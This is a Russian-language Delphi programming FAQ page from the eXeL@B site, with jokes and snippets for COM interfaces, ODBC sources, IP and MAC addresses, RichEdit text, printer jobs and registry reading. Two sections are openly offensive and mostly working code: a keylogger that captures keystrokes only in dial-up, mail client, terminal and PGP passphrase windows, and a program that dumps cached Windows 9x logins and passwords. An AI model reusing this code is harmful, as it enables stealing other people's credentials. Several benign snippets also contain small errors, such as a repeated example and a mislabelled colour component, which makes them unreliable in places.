Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 10 декабря!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

БОЛЬШОЙ FAQ ПО DELPHI



Получение интерфейса объекта из OleVariant

Microsoft выпускает новый многосерийный триллер:
OLE
OLE 2
OLE Возвращается

В примерах Delphi по использованию COM-объектов, как правило, используется примерно следующая конструкция:


 var
   _ComServer: variant;
 begin
   _ComServer := CreateComObject(CLSID_ComServer);
   // что-то делаем с COM-объектом
   _ComServer.DoSomething;
 end;
 

Здесь после создания объекта вызывается некоторый гипотетический метод созданного объекта - DoSomething. После создания объекта можно также изменять значения его свойств, передавать его в качестве параметра в другие методы и процедуры и пр. Единственное видимое неудобство заключается в том, что при использовании переменной типа вариант компилятор не в состоянии проверить синтаксическую корректность обращений к объекту и, соответственно, в редакторе Delphi не работает on-line подстановка (когда вы, например, вводите точку после имени переменной объектного типа, редактор выводит окно с перечнем наиболее подходящих свойств и методов объекта).

Применение переменных типа интерфейс устраняют это неудобство. Достаточно написать так (в предположении, что действительно существует интерфейс IMyInterface):


 var
   _ComServer: variant;
 begin
   _ComServer := CreateComObject(CLSID_ComServer);
   // что-то делаем с COM-объектом
   _ComServer.DoSomething;
 end;
 

Кроме того, что компилятор теперь совершенно четко понимает, какого типа переменная используется и что с ней можно делать, "за кулисами" происходит еще и повышение быстродействия работы с объектом, т.к. в первом случае вся работа с объектом осуществляется опосредованно через метод Invoke его интерфейса IDispatch (любознательные читатели могут более подробно прочитать про IDispatch в справочной системе Delphi и MSDN).

Если же объект передается в какой-либо модуль через переменную (параметр) типа Variant (OleVariant), то, к сожалению, Delphi опять возвращает все на круги своя (см. пример 1). Для того, чтобы получить из Variant требуемый типизованный интерфейс, достаточно выполнить простейшее преобразование:


 procedure MyProc(_MyObject: variant);
 var
   _ComServer: IMyInterface;
 begin
   _ComServer := IMyInterface(TVarData(_MyObject).VUnknown);
   // что-то делаем с COM-объектом
   _ComServer.DoSomething;
 end;
 

Можно усилить контроль за передаваемым объектом, проверяя тип данных в variant:


 procedure MyProc(_MyObject: variant);
 var
   _ComServer: IMyInterface
 begin
   if (VarType(_MyObject) and varUnknown) = varUnknown then
   begin
     _ComServer := IMyInterface(TVarData(_MyObject).VUnknown);
     // что-то делаем с COM-объектом
     _ComServer.DoSomething;
   end;
 end;
 

Можно использовать еще более строгую проверку наличия в variant ожидаемого интерфейса:


 procedure MyProc(_MyObject: variant);
 var
   _ComServer: IMyInterface;
   _IUnknown: IUnknown;
 begin
   if (VarType(_MyObject) and varUnknown) = varUnknown then
   begin
     _IUnknown := IUnknown(TVarData(_MyObject).VUnknown);
     if _IUnknown.QueryInterface(IID_IMyInterface, _ComServer) = S_OK then
       // что-то делаем с COM-объектом
       _ComServer.DoSomething;
   end;
 end;
 




Получаем имена ODBC-источников


 uses Registry;
 
 procedure TForm1.GetDataSourceNames(System: Boolean);
 var
   reg: TRegistry;
 begin
   ListBox1.Items.Clear;
 
   reg := TRegistry.Create;
   try
     if System then
       reg.RootKey := HKEY_LOCAL_MACHINE
     else
       reg.RootKey := HKEY_CURRENT_USER;
 
     if reg.OpenKey('\Software\ODBC\ODBC.INI\ODBC Data Sources', False) then
     begin
       reg.GetValueNames(ListBox1.Items);
     end;
 
   finally
     reg.CloseKey;
     FreeAndNil(reg);
   end;
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   //Системные DSNs 
   GetDataSourceNames(True);
   //Пользовательские DSNs 
   GetDataSourceNames(False);
 end;
 




Как определить свой IP адрес

По нику встречают, по IP провожают.


 uses
   WinSock;
 
 function GetLocalIP: String;
 const WSVer = $101;
 var
   wsaData: TWSAData;
   P: PHostEnt;
   Buf: array [0..127] of Char;
 begin
   Result := '';
   if WSAStartup(WSVer, wsaData) = 0 then begin
     if GetHostName(@Buf, 128) = 0 then begin
       P := GetHostByName(@Buf);
       if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
     end;
     WSACleanup;
   end;
 end;
 
 




Как получить определённую часть текста из RichEdit

Идем тут мы с подружкой по центру в пятницу вечером, гуляем типа :))) Жалуемся друг другу на наши работы... Точнее, не жалуемся, а просто разговоры разговариваем. - У нас такие отвратительные мониторы, - говорит она, - мерцают очень сильно...
- Да, - говорю я, у нас тока у Маков ничего, а у Писюков тоже дерьмовые...
- СколькИ-, сколькИ- у вас писюковые??
- Маша! Я говорю ДЕРЬМОВЫЕ!!! :))))
Так родилось новое понятие - "17-дерьмовые мониторы"...

Иногда бывает необходимо полудить только часть текста из RichEdit не выделяя его, то есть не используя свойство SelText. Ниже представлен код, который позволяет сделать это.


 {Переопределяем неправильное объявление TTextRange в RichEdit.pas}
 TTextRange = record
   chrg: TCharRange;
   lpstrText: PAnsiChar;
 end;
 
 
 function REGetTextRange(RichEdit: TRichEdit;
 BeginPos, MaxLength: Integer): string;
 {RichEdit - RichEdit control
 BeginPos - абсолютное значение первого символа
 MaxLength - максимально число получаемых символов}
 var
   TextRange: TTextRange;
 begin
   if MaxLength>0 then
   begin
     SetLength(Result, MaxLength);
     with TextRange do
     begin
       chrg.cpMin := BeginPos;
       chrg.cpMax := BeginPos+MaxLength;
       lpstrText := PChar(Result);
     end;
     SetLength(Result, SendMessage(RichEdit.Handle, EM_GETTEXTRANGE, 0,
     longint(@TextRange)));
   end
   else
     Result:='';
 end;
 

Следующую функцию можно использовать для получения слова, над которым находится курсор мышки:


 function RECharIndexByPos(RichEdit: TRichEdit; X, Y: Integer): Integer;
 { функция возвращает абсолютное положение символа для данных координат курсора}
 var
   P: TPoint;
 begin
   P := Point(X, Y);
   Result := SendMessage(RichEdit.Handle, EM_CHARFROMPOS, 0, longint(@P));
 end;
 
 function REExtractWordFromPos(RichEdit: TRichEdit; X, Y: Integer):=
 string;
 { X, Y - координаты в rich edit }
 {возвращает слово в текущих координатах курсора}
 var
   BegPos, EndPos: Integer;
 begin
   BegPos := RECharIndexByPos(RichEdit, X, Y);
   if (BegPos < 0) or
   (SendMessage(RichEdit.Handle, EM_FINDWORDBREAK,WB_CLASSIFY,BegPos) and
   (WBF_BREAKLINE or WBF_ISWHITE) <> 0 ) then
   begin
     result:='';
     exit;
   end;
 
   if SendMessage(RichEdit.Handle, EM_FINDWORDBREAK,WB_CLASSIFY,BegPos-1) and
   (WBF_BREAKLINE or WBF_ISWHITE) = 0 then
     BegPos:=SendMessage(RichEdit.Handle, EM_FINDWORDBREAK,
     WB_MOVEWORDLEFT, BegPos);
   EndPos:=SendMessage(RichEdit.Handle, EM_FINDWORDBREAK,
   WB_MOVEWORDRIGHT, BegPos);
   Result:=TrimRight(REGetTextRange(RichEdit, BegPos, EndPos - BegPos));
 end;
 




Способ высосать пароли из едитов определенных программ

На днях увольняли сисадмина..
Директор говорит ему:
- Дай системный пароль, - и подает бумашку.
Сисоп записывает следующее *******, немного подумав:
- A нет, еще одна снежинка.

Вот хороший способ высосать пароли из едитов определенных программ - Достоинством метода является отсутствие необходимости читать длинющие keylog - записи, тк кейлоггинг ведется только в интересующих нас окнах (Terminal, DUN, etc...).


 unit ksf;
 interface
 uses windows,Controls,Forms, StdCtrls, Classes, ExtCtrls;
 
 type
  Tf1 = class(TForm)
    t1: TTimer;
    m1: TMemo;
    procedure t1t(Sender: TObject);
  end;
 
 var
 f1: Tf1;
 okey:byte;
 KAr:array[1..88] of pchar=('-Esc-','1','2','3','4','5','6','7','8','9',
 '0','-','=','bsp','-Tab-','q','w','e','r','t','y','u','i','o','p',
 '[',']','#13','-Ctrl-','a','s','d','f','g','h','j','k','l',';','''','`',
 '-Shift-','\','z','x','c','v','b','n','m',',','.','/','-Shift-','*',
 'Alt',' ','CL','F1','F2','F3','F4','F5','F6','F7','F8','F9','F10','NL',
 'SL','-Home-','-Up-','-PgUp-','-','-Left-','-*5*-','-Right-','+',
 '-End-','-Down-','-PDn-','-Ins-','-Del-','','','-Unk-','F11','F12');
 
 implementation
 {$R *.DFM}
 
 procedure Tf1.t1t(Sender: TObject);
 var
 key:byte;
 cap0:pchar;
 cap1:string;
 begin
 getmem(cap0,255);
 GetWindowText(GetforegroundWindow,cap0,255); //title активного окна
 cap1:=cap0;
 freemem(cap0);
 if(pos('Connect To',cap1)< > 0)or        //DialUP
   (pos('Установка связи',cap1)< > 0)or   //DialUP
   (pos('Вход в систему',cap1)< > 0)or    //DialUP
   (pos('EType Dialer',cap1)< > 0)or      //DialUP
   (pos('p Networking',cap1)< > 0)or      //DialUP
   (pos('p Connection',cap1)< > 0)or      //DialUP
   (pos('Connecting to',cap1)< > 0)or     //DialUP
   (pos('Connessione a',cap1)< > 0)or     //DialUP
   (pos('Edit User - ',cap1)< > 0)or      //The Bat!
   (pos('Мастер подключения к Интернету',cap1)< > 0)or //MSIE,MSOutlook,etc
   (pos('сетевого пароля',cap1)< > 0)or   //MSIE
   (pos('Свойства: ',cap1)< > 0)or        //MSOutlook
   (pos('Вход - ',cap1)< > 0)or           //MSOutlook
   (pos(' - Receiving mail',cap1)< > 0)or //The Bat!
   (pos('Окно терминала',cap1)< > 0)or    //Terminal
   (pos('Passphrase',cap1)< > 0)          //PGP Disk
 then
 begin
  asm
   in al,60h                 // Читаем из 60h порта нажатую кнопку в al
   mov key,al                // Перемещаем код ключа из al в Key
  end;
  if okey< > key then
  begin
   okey:=key;
   if key< =88 then           // Ловим Key_Down код
   m1.text:=m1.text+kAr[Key]  // И берем по этому коду из массива строку
  end;
 end;
 end;
 




Тянем пароли из кэша

Земля. 2050 год. Генетический программер разбирает очерендной кусок генной последовательности и видит следующий комментарий:
{ A eti geny nado by ubrat nahren. Archangel Gavriil }

Так, сегодня мы рассмотрим как можно взять кэшированные пароли из 9x винды, а также из винды, где в установленном виде есть 5-я иешка (хотя может и 4-ой хватит:)


 unit Unit1;
 
 interface
 
 uses
   Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls;
 
 type
     TForm1 = class(TForm)
     GroupBox1: TGroupBox;
     ListBox: TListBox;
     Label1: TLabel;
     Label2: TLabel;
     procedure Label1Click(Sender: TObject);
     procedure FormShow(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
     hMPR: THandle;
 end;
 
 // Отсюда мы можем заключить что должно валяться на форме,
 // надеюсь вы сами всё закидаете, а если нет, то вам дорога в хелпы.
 
 var
   Form1: TForm1;
 
 const
   Count: Integer = 0;
 
 function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte;
 PC: PChar; dw: DWord): Word; stdcall;
 
 implementation
 {$R *.DFM}
 
 function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte;
 PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
 
 // Объявляем функцию внешней, надеюсь вы поняли
 // каким макаром, или вам опять в хелпы
 
 type
   PWinPassword = ^TWinPassword;
   TWinPassword = record
   EntrySize: Word;
   ResourceSize: Word;
   PasswordSize: Word;
   EntryIndex: Byte;
   EntryType: Byte;
   PasswordC: Char;
 end;
 
 // Объявляем все типы, которые будем юзать в проге.
 
 var
   WinPassword: TWinPassword;
 
 // Собственно переменные :-)
 
 function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
 var
   Password: string;
   PC: array[0..$FF] of Char;
 begin
   inc(Count);
   // Увеличиваем число паролей на 1
   Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
   // Получаем в PC пароль
   PC[WinPassword.ResourceSize] := #0;
   CharToOem(PC, PC);
   Password := StrPas(PC);
   // После недолгих преобразований в Password имеем кэшированный логин
   Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
   Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
   PC[WinPassword.PasswordSize] := #0;< BR> CharToOem(PC, PC);
   // Теперь в PC имеем пароль
   Password := Password + ': ' + StrPas(PC);
   // Разделяем логин и пароль двуеточием...
   Form1.ListBox.Items.Add(Password);
   // ...и добавляем в ListBox на форме
   Result := True;
   // Возвращаемся с положительным результатом
 end;
 
 procedure TForm1.Label1Click(Sender: TObject);
 begin
   // при нажатии на лэйбл открываем окошко ие с нашим любимым сайтом :-)
   ShellExecute(GetDesktopWindow, 'open', 'http://www.lamerov.net', nil, nil, 0);
 end;
 
 procedure TForm1.FormShow(Sender: TObject);
 begin
   // А теперь сама процедура заполнения всех паролей.
   if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
   // Если не найден кэшированый пароль, то
   begin
     Application.MessageBox('Can''t load passwords: User is not logon.',
     'Error', mb_Ok or mb_IconWarning);
     Application.Terminate;
     // Выдаем сообщение об этом
   end
   // иначе,
   else
   if Count = 0 then
     // если паролей всего 0 то тоже об этом сообщаем
     ListBox.Items.Add('No passwords found...');
 end;
 
 end.
 

Вы наверное спросите: как же все таки дельфи попадает туда куда нам нужно, то есть на функцию обработки паролей и почемы она кэшит их всех, хотя функцию вызывали всего одни раз, а очень просто. Помните строку WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) так вот она все и делает. Надеюсь вопросов не осталось.




Как узнать полный путь и имя файла загруженной DLL

- Чем отличается продавец подержанных машин от продавца компьютеров?
- Продавец подержанных машин знает, когда он тебе врет.


 uses
   Windows;
 
 procedure ShowDllPath stdcall;
 var
   TheFileName: array[0..MAX_PATH] of char;
 begin
   FillChar(TheFileName, sizeof(TheFileName), #0);
   GetModuleFileName(hInstance, TheFileName, sizeof(TheFileName));
   MessageBox(0, TheFileName, 'The DLL file name is:', mb_ok);
 end;
 




Как определить, какие диски находятся на компьютере


- Чем отличается джентльмен от джентльмена программиста?
- Джентльмен всегда носит с собой презерватив, на всякий случай, а джентльмен программист - системную дискету.


 function DriveExists(Drive:Byte):Boolean;
 var
   Drives: set of 0..25;
 begin
   integer(Drives):=GetLogicalDrives;
   Result:=Drive in Drives
 end;
 
 function CheckDriveType(Drive: Byte): string;
 var
   DriveLetter: Char;
   DriveType: UInt;
 begin
   DriveLetter:=Chr(Drive + $41);
   DriveType:=GetDriveType(PChar(DriveLetter + ':\'));
   case DriveType of
     0:               Result:='?';
     1:               Result:='Path does not exists';
     DRIVE_REMOVABLE: Result:='Removable';
     DRIVE_FIXED:     Result:='Fixed';
     DRIVE_REMOTE:    Result:='Remote';
     DRIVE_CDROM:     Result:='CD_ROM';
     DRIVE_RAMDISK:   Result:='RAMDISK'
     else
       Result:='Unknown'
   end
 end;
 




Получение MAC адреса компьютера


Автор: Daniel Wischnewski

Один программист спрашивает другого:
- Слушай, а тебе трахаться приходилось?
- Да, как-то раз я полночи Windows ставил.
- Да нет, в смысле по-настоящему.
- А, это с Макинтошами что ли?

Для того, чтобы этот код работал, необходимо включить в проект юнит NB30. Простой вызов функции GetMACAddress возвращает адрес первого установленного сетевого адаптера.

Данный пример был составлен на основе статьи на сайте Borland:
http://community.borland.com/article/0,1410,26040,00.html


 uses
   NB30;
 
 function GetAdapterInfo(Lana: Char): string;
 var
   Adapter: TAdapterStatus;
   NCB: TNCB;
 begin
   FillChar(NCB, SizeOf(NCB), 0);
   NCB.ncb_command := Char(NCBRESET);
   NCB.ncb_lana_num := Lana;
   if Netbios(@NCB) <> Char(NRC_GOODRET) then
   begin
     Result := 'mac not found';
     Exit;
   end;
 
   FillChar(NCB, SizeOf(NCB), 0);
   NCB.ncb_command := Char(NCBASTAT);
   NCB.ncb_lana_num := Lana;
   NCB.ncb_callname := '*';
 
   FillChar(Adapter, SizeOf(Adapter), 0);
   NCB.ncb_buffer := @Adapter;
   NCB.ncb_length := SizeOf(Adapter);
   if Netbios(@NCB) <> Char(NRC_GOODRET) then
   begin
     Result := 'mac not found';
     Exit;
   end;
   Result :=
   IntToHex(Byte(Adapter.adapter_address[0]), 2) + '-' +
   IntToHex(Byte(Adapter.adapter_address[1]), 2) + '-' +
   IntToHex(Byte(Adapter.adapter_address[2]), 2) + '-' +
   IntToHex(Byte(Adapter.adapter_address[3]), 2) + '-' +
   IntToHex(Byte(Adapter.adapter_address[4]), 2) + '-' +
   IntToHex(Byte(Adapter.adapter_address[5]), 2);
 end;
 
 function GetMACAddress: string;
 var
   AdapterList: TLanaEnum;
   NCB: TNCB;
 begin
   FillChar(NCB, SizeOf(NCB), 0);
   NCB.ncb_command := Char(NCBENUM);
   NCB.ncb_buffer := @AdapterList;
   NCB.ncb_length := SizeOf(AdapterList);
   Netbios(@NCB);
   if Byte(AdapterList.length) > 0 then
     Result := GetAdapterInfo(AdapterList.lana[0])
   else
     Result := 'mac not found';
 end;
 




Получить имя компьютера по IP

Мой домашний компьютер используется на 300%: на системный блок мы складываем журналы, с клавиатурой и мышкой играется ребенок, а на мониторе сидит плюшевый медведь.


 uses
   WinSock;
 
 function LocalIP: string;
 type
   TaPInAddr = array[0..10] of PInAddr;
   PaPInAddr = ^TaPInAddr;
 var
   phe: PHostEnt;
   pptr: PaPInAddr;
   Buffer: array[0..63] of Char;
   I: Integer;
   GInitData: TWSAData;
 begin
   WSAStartup($101, GInitData);
   Result := '';
   GetHostName(Buffer, SizeOf(Buffer));
   phe := GetHostByName(buffer);
   if phe = nil then Exit;
   pPtr := PaPInAddr(phe^.h_addr_list);
   I := 0;
   while pPtr^[I] <> nil do
   begin
     Result := inet_ntoa(pptr^[I]^);
     Inc(I);
   end;
   WSACleanup;
 end;
 
 function IPAddrToName(IPAddr: string): string;
 var
   SockAddrIn: TSockAddrIn;
   HostEnt: PHostEnt;
   WSAData: TWSAData;
 begin
   WSAStartup($101, WSAData);
   SockAddrIn.sin_addr.s_addr := inet_addr(PChar(IPAddr));
   HostEnt := gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);
   if HostEnt <> nil then
     Result := StrPas(Hostent^.h_name)
   else
     Result := '';
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowMessage(IPAddrToName(LocalIp));
 end;
 
 {**************************************}
 
 // Function to get the IP Address from a Host 
 
 function GetIPFromHost(const HostName: string): string;
 type
   TaPInAddr = array[0..10] of PInAddr;
   PaPInAddr = ^TaPInAddr;
 var
   phe: PHostEnt;
   pptr: PaPInAddr;
   i: Integer;
   GInitData: TWSAData;
 begin
   WSAStartup($101, GInitData);
   Result := '';
   phe := GetHostByName(PChar(HostName));
   if phe = nil then Exit;
   pPtr := PaPInAddr(phe^.h_addr_list);
   i := 0;
   while pPtr^[i] <> nil do
   begin
     Result := inet_ntoa(pptr^[i]^);
     Inc(i);
   end;
   WSACleanup;
 end;
 




Как узнать платформу

Гейтс получил Hобелевскую премию по экономике и медицине за то, что первый додумался продавать геморрой за такие деньги.


 private
   { Private declarations }
   procedure OSInfo;
 ...
 
 procedure TForm1.OSInfo;
 var
   BRes : boolean;
   lpVersionInformation : TOSVersionInfo;
   c : string;
 begin
   lpVersionInformation.dwOSVersionInfoSize :=
   SizeOf(TOSVersionInfo);
   BRes := GetVersionEx(lpVersionInformation);
   if BRes then
     with lpVersionInformation do
       case dwPlatformId of
         VER_PLATFORM_WIN32_WINDOWS :
           if dwMinorVersion=0 then
             c := 'Windows 95'
           else
             c := 'Windows 98';
         VER_PLATFORM_WIN32_NT :
           c := 'Windows NT';
         VER_PLATFORM_WIN32s :
           c := 'Win 3.1 with Win32s'
       end;
   Form1.Caption:=c;
 end;
 




Как получить POST данные

Автор: Craig Foley

Реальность, переходящая в виртуальность: Посмотрел порно сайт и заразил компьютер вирусом.

Если данные передаются в формате 'animal=cat&color=brown' и т.д., то попробуйте использовать следующий код:


 procedure TDBModule.Navigate(stURL, stPostData: String; var wbWebBrowser: TWebBrowser);
 var
   vWebAddr, vPostData, vFlags, vFrame, vHeaders: OleVariant;
   iLoop: Integer;
 begin
   {Are we posting data to this Url?}
   if Length(stPostData)> 0 then
   begin
     {Require this header information if there is stPostData.}
     vHeaders:= 'Content-Type: application/x-www-form-urlencoded'+ #10#13#0;
     {Set the variant type for the vPostData.}
     vPostData:= VarArrayCreate([0, Length(stPostData)], varByte);
     for iLoop := 0 to Length(stPostData)- 1 do    // Iterate
     begin
       vPostData[iLoop]:= Ord(stPostData[iLoop+ 1]);
     end;    // for
     {Final terminating Character.}
     vPostData[Length(stPostData)]:= 0;
     {Set the type of Variant, cast}
     TVarData(vPostData).vType:= varArray;
   end;
   {And the other stuff.}
   vWebAddr:= stURL;
   {Make the call Rex.}
   wbWebBrowser.Navigate2(vWebAddr, vFlags, vFrame, vPostData, vHeaders);
 end;  {End of Navigate procedure.}
 

Автор: Hans Gulo

А это другой способ:


 procedure TForm1.SubmitPostForm;
 var
   strPostData: string;
   Data: Pointer;
   URL, Flags, TargetFrameName, PostData, Headers: OleVariant;
 begin
   {
   <!-- submit this html form: -->
   <form method="post" action="http://127.0.0.1/cgi-bin/register.pl">
   <input type="text" name="FIRSTNAME" value="Hans">
   <input type="text" name="LASTNAME" value="Gulo">
   <input type="text" name="NOTE" value="thats it">
   <input type="submit">
   </form>
   }
   strPostData := 'FIRSTNAME=Hans&LASTNAME=Gulo&NOTE=thats+it';
   PostData :=  VarArrayCreate([0, Length(strPostData) - 1], varByte);
   Data := VarArrayLock(PostData);
   try
     Move(strPostData[1], Data^, Length(strPostData));
   finally
     VarArrayUnlock(PostData);
   end;
   URL := 'http://127.0.0.1/cgi-bin/register.pl';
   Flags := EmptyParam;
   TargetFrameName := EmptyParam;
   Headers := EmptyParam; // TWebBrowser automatically replace
                          // this captions same values
   WebBrowser1.Navigate2(URL, Flags, TargetFrameName, PostData, Headers);
 end;
 
 
 




Как узнать драйвер и порт принтера

Иногда метод GetPrinter() компонента TPrinter возвращает пустую строку, поэтому целесообразно воспользоваться API для получения необходимых параметров из файла Windows.ini.


 uses Printers;
 
 {$IFNDEF WIN32}
 const MAX_PATH = 144;
 {$ENDIF}
 
 procedure TForm1.Button1Click(Sender: TObject);
 var
   pDevice: pChar;
   pDriver: pChar;
   pPort: pChar;
   hDMode: THandle;
 begin
   if PrintDialog1.Execute then begin
     GetMem(pDevice, cchDeviceName);
     GetMem(pDriver, MAX_PATH);
     GetMem(pPort, MAX_PATH);
     Printer.GetPrinter(pDevice, pDriver, pPort, hDMode);
     if lStrLen(pDriver) = 0 then begin
       GetProfileString('Devices', pDevice, '', pDriver, MAX_PATH);
       pDriver[pos(',', pDriver) - 1] := #0;
     end;
     if lStrLen(pPort) = 0 then begin
       GetProfileString('Devices', pDevice, '', pPort, MAX_PATH);
       lStrCpy(pPort, @pPort[lStrLen(pPort) + 2]);
     end;
     Memo1.Lines.Add('Device := ' + StrPas(pDevice));
     Memo1.Lines.Add('Driver := ' + StrPas(pDriver));
     Memo1.Lines.Add('Port := ' + StrPas(pPort));
     FreeMem(pDevice, cchDeviceName);
     FreeMem(pDriver, MAX_PATH);
     FreeMem(pPort, MAX_PATH);
   end;
 end;
 




Как получить информацию о заданиях на принтере

В Windows существуют встроенные средства для мониторинга заданий на принтере. Однако, давайте разберёмся, как отслеживать задания на принтере программно. Для существует API функция "EnumJobs", которая позволяет получить давольно много информации о текущем состоянии принтера (Имя задания, Состояние, дату, время и т.д.).

Ниже представлена функция, которая использует EnumJobs и возвращает массив структуры, в котором представлена вся необходимая информация:


 uses WinSpool;
 
 type
   JOB_INFO_1_ARRAY = array of JOB_INFO_1;
 
   function GetSpoolerJobs(sPrinterName: string): JOB_INFO_1_ARRAY;
 
 var
   i: Integer;
   hPrinter: THandle;
   bResult: Boolean;
   cbBuf: DWORD;
   pcbNeeded: DWORD;
   pcReturned: DWORD;
   aJobs: array[0..99] of JOB_INFO_1;
 begin
   cbBuf := 1000;
 
   bResult := OpenPrinter(PChar(sPrinterName), hPrinter, nil);
   if not bResult then
   begin
     ShowMessage('Error opening the printer');
     exit;
   end;
 
   bResult := EnumJobs(hPrinter, 0, Length(aJobs), 1, @aJobs, cbBuf, pcbNeeded,
     pcReturned);
   if not bResult then
   begin
     ShowMessage('Error Getting Jobs information');
     exit;
   end;
 
   ClosePrinter(hPrinter);
 
   for i := 0 to pcReturned - 1 do
   begin
     if aJobs[i].pDocument <> nil then
     begin
       SetLength(Result, Length(Result) + 1);
       Result[Length(Result) - 1] := aJobs[i];
     end;
   end;
 end;
 

Пример использования:

  1. Создайте новый проект со StringGrid и Timer.
  2. В StringGrid установите свойства “ColCount” и “RowCount” в 20.
  3. У таймера (Timer) установите свойство “Interval” в 500.
  4. В обработчик события “OnTime” таймера добавьте следующий код:

 procedure TForm1.Timer1Timer(Sender: TObject);
 var
   i, ii: Integer;
   aJobs: JOB_INFO_1_ARRAY;
 begin
   for i := 0 to StringGrid1.ColCount - 1 do
     for ii := 0 to StringGrid1.RowCount - 1 do
       StringGrid1.Cells[i, ii] := '';
 
   aJobs := GetSpoolerJobs('HP LaserJet 6L PCL');
 
   for i := 0 to Length(aJobs) - 1 do
   begin
     StringGrid1.Cells[i, 0] := aJobs[i].pPrinterName;
     StringGrid1.Cells[i, 1] := aJobs[i].pMachineName;
     StringGrid1.Cells[i, 2] := aJobs[i].pUserName;
     StringGrid1.Cells[i, 3] := aJobs[i].pDocument;
     StringGrid1.Cells[i, 4] := aJobs[i].pDatatype;
     StringGrid1.Cells[i, 5] := aJobs[i].pStatus;
     StringGrid1.Cells[i, 6] := IntToStr(aJobs[i].Status);
 
     case aJobs[i].Status of
       JOB_STATUS_PAUSED: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PAUSED';
       JOB_STATUS_ERROR: StringGrid1.Cells[i, 6] := 'JOB_STATUS_ERROR';
       JOB_STATUS_DELETING: StringGrid1.Cells[i, 6] := 'JOB_STATUS_DELETING';
       JOB_STATUS_SPOOLING: StringGrid1.Cells[i, 6] := 'JOB_STATUS_SPOOLING';
       JOB_STATUS_PRINTING: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PRINTING';
       JOB_STATUS_OFFLINE: StringGrid1.Cells[i, 6] := 'JOB_STATUS_OFFLINE';
       JOB_STATUS_PAPEROUT: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PAPEROUT';
       JOB_STATUS_PRINTED: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PRINTED';
       JOB_STATUS_DELETED: StringGrid1.Cells[i, 6] := 'JOB_STATUS_DELETED';
       JOB_STATUS_BLOCKED_DEVQ: StringGrid1.Cells[i, 6] :=
         'JOB_STATUS_BLOCKED_DEVQ';
       JOB_STATUS_USER_INTERVENTION: StringGrid1.Cells[i, 6] :=
         'JOB_STATUS_USER_INTERVENTION';
       JOB_STATUS_RESTART: StringGrid1.Cells[i, 6] := 'JOB_STATUS_RESTART';
       JOB_POSITION_UNSPECIFIED: StringGrid1.Cells[i, 6] :=
         'JOB_POSITION_UNSPECIFIED';
 
     else
       StringGrid1.Cells[i, 6] := 'Unknown status...';
     end;
   end;
 
   StringGrid1.Refresh;
 end;
 

  1. Запустите проект и попробуйте что-нибудь отправить на печать из MSWord или другого приложения и посмотрите в stringgrid.

Некоторые замечания и дополнения:

Структура JOB_INFO_1 объявлена в юните WinSpool следующим образом:


 JOB_INFO_1 = record
   JobId: DWORD;
   pPrinterName: PAnsiChar;
   pMachineName: PAnsiChar;
   pUserName: PAnsiChar;
   pDocument: PAnsiChar;
   pDatatype: PAnsiChar;
   pStatus: PAnsiChar;
   Status: DWORD;
   Priority: DWORD;
   Position: DWORD;
   TotalPages: DWORD;
   PagesPrinted: DWORD;
   Submitted: TSystemTime;
 end;
 

И массив так же можно объявить следующим образом:


 aJobs: array[0..99] of JOB_INFO_1;
 




Получить многострочные значения из реестра и преобразовать их в TStringList


 function ReadMultirowKey(reg: TRegistry; Key: string): TStrings;
 const
   bufsize = 100;
 var
   i: integer;
   s1: string;
   sl: TStringList;
   bin: array[1..bufsize] of char;
 begin
   try
     result := nil;
     sl := nil;
     sl := TStringList.Create;
     if not Assigned(reg) then
       raise Exception.Create('TRegistry object not assigned.');
     FillChar(bin, bufsize, #0);
     reg.ReadBinaryData(Key, bin, bufsize);
     i := 1;
     s1 := '';
     while i < bufsize do
     begin
       if ord(bin[i]) >= 32 then
         s1 := s1 + bin[i]
       else
       begin
         if Length(s1) > 0 then
         begin
           sl.Add(s1);
           s1 := '';
         end;
       end;
       inc(i);
     end;
     result := sl;
   except
     sl.Free;
     raise;
   end;
 end;
 




Как извлечь Red, Green, Blue составляющие из определённого цвета

Используйте функции Window API GetRValue(), GetGValue() и GetBValue():


 procedure TForm1.Button1Click(Sender: TObject);
 begin
   with Form1.Canvas.Pen do
   begin
     Color := clRed;
     with Memo1.Lines do
     begin
       Add('Red  := ' + IntToStr(GetRValue(Color)));
       Add('Red  := ' + IntToStr(GetGValue(Color)));
       Add('Blue := ' + IntToStr(GetBValue(Color)));
     end;
   end;
 end;
 




Как получить ширину ScrollBar


 // These snippets get the width of the scrollbars, as defined BY THE USER
 // on the Display Properties screen Appearance tab.  The code below is
 // for a string grid, but any component that has scrollbars should work as
 // well.
 //
 // by Robert E. Baker (robertbaker@bigfoot.com)
 //
 
 // For a vertical scrollbar
 
    if ScrollBarVisible(StringGrid1.Handle, WS_VSCROLL) then
       ScrollBarWidth := GetSystemMetrics(SM_CXVSCROLL)
    else
       ScrollBarWidth := 0;
 
 // For a vertical scrollbar
 
    if ScrollBarVisible(StringGrid1.Handle, WS_HSCROLL) then
       ScrollBarWidth := GetSystemMetrics(SM_CXHSCROLL)
    else
       ScrollBarWidth := 0;
 
 // The code for the ScrollBarVisible function is below:
 
 function ScrollBarVisible(Handle : HWnd; Style : Longint) : Boolean;
 begin
    Result := (GetWindowLong(Handle, GWL_STYLE) and Style) <> 0;
 end;
 




Как узнать серийный номер аудио CD

